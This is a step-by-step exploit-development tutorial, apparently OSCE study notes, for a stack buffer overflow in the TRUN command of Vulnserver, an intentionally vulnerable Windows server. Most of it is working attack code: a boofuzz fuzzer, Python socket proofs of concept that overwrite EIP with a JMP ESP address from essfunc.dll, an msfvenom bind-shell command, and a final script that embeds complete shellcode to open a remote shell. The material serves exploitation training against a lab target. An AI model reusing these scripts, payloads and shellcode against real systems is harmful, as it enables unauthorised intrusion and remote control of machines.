# Vulnserver - TRUN Command

## 1. Intro 

*Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.*

![Figure 1](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-Ew7_tFaHPdjSCPUVb%2F-M-EwFlhU19RQaPbYglR%2Fimage.png?alt=media\&token=1ee8db0a-742b-4cef-8bb0-d6042f16d5ac)

You can get a copy of the application here <https://github.com/zflemingg1/OSCE/tree/master/Vulnserver>

## 2. The Setup

```
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer
```

### 2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

![Figure 2](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-EwqUZgjJ8rPq6FIqD%2F-M-ExGAp4WPlGQxCzJsx%2Fimage.png?alt=media\&token=80b8d126-f1b2-4aa0-b184-5e7d12053d09)

## 3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the TRUN command. Observing that the valid argument structure for the TRUN command is roughly `<trun>[space]<command_value>` we can try sending `TRUN hello` as a test and see if it’s accepted.

![Figure 3](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-Exs8umrwXs4qlqPuI%2F-M-Eyl_87yeSGM5p-SBD%2Fimage.png?alt=media\&token=11f3986e-e1fc-407f-8e8d-4df6ab704c27)

![Figure 4](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-Exs8umrwXs4qlqPuI%2F-M-Eyr1rnF2UaY4Kv0tB%2Fimage.png?alt=media\&token=14dd7eef-cc61-44ec-89dd-f97b1113904b)

&#x20;As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the `TRUN` command.

The following BOOFUZZ template was created to fuzz the TRUN command in an effort to get the program to crash.&#x20;

```python
from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 0.5,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("TRUN")
s_string("TRUN", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("TRUN"))
session.fuzz()

```

### 3.1 Crash

The following command appears to have crashed the program indicating that the "TRUN" command can be manipulated to force the program to crash. &#x20;

![Figure 5](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-F0O3ReLDBIg7qtHzj%2F-M-F0qSbFUByDkCGDL5Y%2Fimage.png?alt=media\&token=0c411298-75ad-4cf3-9d24-b65fef78bdac)

![Figure 6](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-F1TgMFQ4ApO_W0bYF%2F-M-FME0dm0g675iOX8NK%2Fimage.png?alt=media\&token=19916fd5-c2a4-4c61-ae11-1e3fd5f39ddb)

### 3.2 Analysing The Crash

Based on the TCP stream (Figure 5), the number of bytes that was sent by the fuzzer and that caused the crash was **around 5000 bytes**.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the TRUN command and cause the crash:

```python
import socket
from time import sleep

count = 6000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "TRUN /.:/"
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	
	
	count = count - 10
	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	sleep(3)

```

![Figure 6](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-FZgK0NSE0mQujN8ed%2F-M-F_hj7lIw97s2u1E8x%2Fimage.png?alt=media\&token=70d2db7d-5cef-4b93-8963-b0c1a503c8af)

![Figure 7](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-Ff8Oa9rQWiFOzO9hR%2F-M-G0SfilOryTk6oiOqo%2Fimage.png?alt=media\&token=66cd47dc-e066-4c97-a5f5-9802420a60bc)

As can be seen from figure 6 the program crashes when a string of 5990 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 2990 bytes - Figure 7.&#x20;

## 4. Determine Offset

Using `msf-pattern_create` create a pattern of length 2990 bytes.

![Figure 8](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-G0WgY4Cf0PstyjR5s%2F-M-G1-11V1ppH8MJZLvD%2Fimage.png?alt=media\&token=13272d55-000f-46e0-a154-4c461c6f5ceb)

Update the exploit and execute it

```python
import socket
from time import sleep




TCP_IP = '192.168.109.129'
TCP_PORT = 9999
	
payload = "TRUN /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv"
	

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
	


s.send(payload)
s.close()	

```

![Figure 9](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-G110LWUyOrj7QXk2p%2F-M-G1rEQgkEJZdUn4LSF%2Fimage.png?alt=media\&token=f223430b-7cc5-4805-abcb-49fa0a3b2d2f)

### 4.1 Get Offset

Using `msf-pattern_offset` and the value `386F4337` (Figure 9 EIP Value) we can determine our exact offset.&#x20;

![Figure 10](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-G110LWUyOrj7QXk2p%2F-M-G2R0GcJeHuPQWmOfn%2Fimage.png?alt=media\&token=aea31f92-5549-4d19-9a57-73b77d91838c)

### 4.2 Confirm Offset

Restart the application in immunity and execute the updated POC below

```python
import socket
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 9999
	
payload = "TRUN /.:/"
payload += "A" * 2003
payload += "B" * 4   # EIP
payload += "C" * (5990 - len(payload))
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	
```

![Figure 11](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-G3KkfuaxgKdD8gbTM%2F-M-G3UJoKptExL66ojec%2Fimage.png?alt=media\&token=7e1cef95-d6cb-4b45-b4d4-fe985a2caf5b)

As can be seen from Figure 11, we can successfully control EIP. It can also be observed that the buffer of C’s is located directly after the 4 bytes of B’s. This means that we will be able to simply place our shellcode right after the 4 bytes of B’s.

## 5. Bad Character Analysis

Clone the <https://github.com/zflemingg1/OSCE/tree/master> git repository and configure the dependency package as instructed.&#x20;

### 5.1 Modifying The Script

Outlined below are the changes you will need to make:

```python
# Modify lines 35 - 40 to be the same as below
'''
    INSERT THE REQUEST TEMPLATE HERE - NEEDS TO BE MODIFIED EVERY TIME
'''
request_template = (
    "TRUN /.:/{}"
)
```

![Figure 12](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-G4o2O-jQBA-sNFiPp%2F-M-G6RC9YXhQGT4VaV1T%2Fimage.png?alt=media\&token=9fc2b9f5-e407-448f-824a-aac29d07d5bc)

```python
# Modify Lines 46 and 56 to be the same as below

iteration = 0
processName = "vulnserver.exe" # name of the process as it appears in tasklist
executable = r"C:\Documents and Settings\Administrator\My Documents\Downloads\vulnserver\vulnserver.exe" # path the executable to start the process
start_buffer_address = "\x0c\xfa\xb7\x00" # Take this value straight from immunity
start_buffer_address_offset = 0x04 # The offset you want to read. Note this will typically be 4
seh_violation = False # Change me depending on crash occuring in seh handler 
listeningPort = 9999 # Address of the listening process
crashLoad = "A" * 2003 + "B" * 4 + "{}" + "C" * 3970 # load to crash the proces with {} representing where our test chars will go
responsive_test_string = "HELP"
crash_wait_timeout = 10 # seconds to wait after a payload has been sent
service_responsive_timeout = 10
```

### 5.2 Results

Execute the script. Once finished you should have identical results to those outlined below in Figure 13.

![Figure 13](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-GIwG51nwnzBX5I5kO%2F-M-GMgkztdHGqxX-xC4d%2Fimage.png?alt=media\&token=cae4f0b7-c2d2-472c-ae8b-8d012a38cce5)

![Figure 14](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-OoePIO6mwpklxCkOe%2F-M-OqpJxjA8h9lZrUTmM%2Fimage.png?alt=media\&token=bd141df6-96fb-4475-875e-066b8c19a197)

As can be seen from Figure 14, '\x00' is the only bad character.&#x20;

## 6. Redirecting Execution Flow

As can be seen from Figure 13 all the expected characters (`\x01` to `\xFF`) are accepted. This means that the only bad character was the NULL byte (`\x00` - Figure 14). The next step was to find an address that contains a `JMP ESP` instruction. ]

**NOTE:** It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).

Restart the application in Immunity and execute the following command `!mona jmp -r esp -m "essfunc.dll"`.&#x20;

![Figure 15](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-Q7H8HNC6MgsfFjxPA%2F-M-QAEvTAy6Z352kxN-w%2Fimage.png?alt=media\&token=647a6d08-4a16-4232-856c-2a5e7aaea2ba)

Take note of the address highlighted in the above picture (0x625011AF)

### 6.1 Taking Control of EIP

Restart the application in Immunity, set a breakpoint at address `0x625011AF` and execute the updated POC below

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999
	
payload = "TRUN /.:/"
payload += "A" * 2003
payload += struct.pack("<I",0x625011AF) # EIP
payload += "C" * (5990 - len(payload))

	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

```

![Figure 16](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-QATfgIf6L0hTlNult%2F-M-QCH8PMweMttQnYcnP%2Fimage.png?alt=media\&token=59680312-4721-4a18-aefd-92739a4a4ebe)

Step through the breakpoint using F7 and you will land in the C buffer - Figure 17.&#x20;

![Figure 17](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-QCP1w5FyzejR51uOy%2F-M-QCdcgv9Cahsbc6j71%2Fimage.png?alt=media\&token=4d1dcd00-7cab-4bb3-b848-97089dc03a7d)

## 7. Generating Shellcode

&#x20;Using all the information that we've gathered we can now generate the payload as shown below:

`msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f python -v shellcode`

![Figure 18](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-QCgNM7lR3MyRrWF5m%2F-M-QDdvc0wqnXidjvQc5%2Fimage.png?alt=media\&token=89178e86-438f-4306-82c4-677ea6a81f08)

### 7.1 Getting Shell

\
Restart the application and execute the updated POC shown below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

shellcode =  b""
shellcode += b"\xda\xca\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x53"
shellcode += b"\xb8\x82\xdb\x7a\xc4\x83\xc7\x04\x31\x47\x13"
shellcode += b"\x03\xc5\xc8\x98\x31\x35\x06\xde\xba\xc5\xd7"
shellcode += b"\xbf\x33\x20\xe6\xff\x20\x21\x59\x30\x22\x67"
shellcode += b"\x56\xbb\x66\x93\xed\xc9\xae\x94\x46\x67\x89"
shellcode += b"\x9b\x57\xd4\xe9\xba\xdb\x27\x3e\x1c\xe5\xe7"
shellcode += b"\x33\x5d\x22\x15\xb9\x0f\xfb\x51\x6c\xbf\x88"
shellcode += b"\x2c\xad\x34\xc2\xa1\xb5\xa9\x93\xc0\x94\x7c"
shellcode += b"\xaf\x9a\x36\x7f\x7c\x97\x7e\x67\x61\x92\xc9"
shellcode += b"\x1c\x51\x68\xc8\xf4\xab\x91\x67\x39\x04\x60"
shellcode += b"\x79\x7e\xa3\x9b\x0c\x76\xd7\x26\x17\x4d\xa5"
shellcode += b"\xfc\x92\x55\x0d\x76\x04\xb1\xaf\x5b\xd3\x32"
shellcode += b"\xa3\x10\x97\x1c\xa0\xa7\x74\x17\xdc\x2c\x7b"
shellcode += b"\xf7\x54\x76\x58\xd3\x3d\x2c\xc1\x42\x98\x83"
shellcode += b"\xfe\x94\x43\x7b\x5b\xdf\x6e\x68\xd6\x82\xe6"
shellcode += b"\x5d\xdb\x3c\xf7\xc9\x6c\x4f\xc5\x56\xc7\xc7"
shellcode += b"\x65\x1e\xc1\x10\x89\x35\xb5\x8e\x74\xb6\xc6"
shellcode += b"\x87\xb2\xe2\x96\xbf\x13\x8b\x7c\x3f\x9b\x5e"
shellcode += b"\xe8\x37\x3a\x31\x0f\xba\xfc\xe1\x8f\x14\x95"
shellcode += b"\xeb\x1f\x4b\x85\x13\xca\xe4\x2e\xee\xf5\x1b"
shellcode += b"\xf3\x67\x13\x71\x1b\x2e\x8b\xed\xd9\x15\x04"
shellcode += b"\x8a\x22\x7c\x3c\x3c\x6a\x96\xfb\x43\x6b\xbc"
shellcode += b"\xab\xd3\xe0\xd3\x6f\xc2\xf6\xf9\xc7\x93\x61"
shellcode += b"\x77\x86\xd6\x10\x88\x83\x80\xb1\x1b\x48\x50"
shellcode += b"\xbf\x07\xc7\x07\xe8\xf6\x1e\xcd\x04\xa0\x88"
shellcode += b"\xf3\xd4\x34\xf2\xb7\x02\x85\xfd\x36\xc6\xb1"
shellcode += b"\xd9\x28\x1e\x39\x66\x1c\xce\x6c\x30\xca\xa8"
shellcode += b"\xc6\xf2\xa4\x62\xb4\x5c\x20\xf2\xf6\x5e\x36"
shellcode += b"\xfb\xd2\x28\xd6\x4a\x8b\x6c\xe9\x63\x5b\x79"
shellcode += b"\x92\x99\xfb\x86\x49\x1a\x1b\x65\x5b\x57\xb4"
shellcode += b"\x30\x0e\xda\xd9\xc2\xe5\x19\xe4\x40\x0f\xe2"
shellcode += b"\x13\x58\x7a\xe7\x58\xde\x97\x95\xf1\x8b\x97"
shellcode += b"\x0a\xf1\x99"
	
payload = "TRUN /.:/"
payload += "A" * 2003
payload += struct.pack("<I",0x625011AF) # EIP
payload += "\x90" * 8
payload += shellcode
payload += "C" * (5990 - len(payload))

	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

```

**NOTE:**  A **nopsled** (8 NOP instructions) were added before the shellcode to give room for the decoder to work

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

![Figure 19](https://1775797756-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LzJDg7CZO0BbVixCJaI%2F-M-QFg_r3U3mPL3TPD6k%2F-M-QFx66SzATV9UVvecR%2Fimage.png?alt=media\&token=4b2d55d9-a5fb-42b0-965e-2fd02dbda992)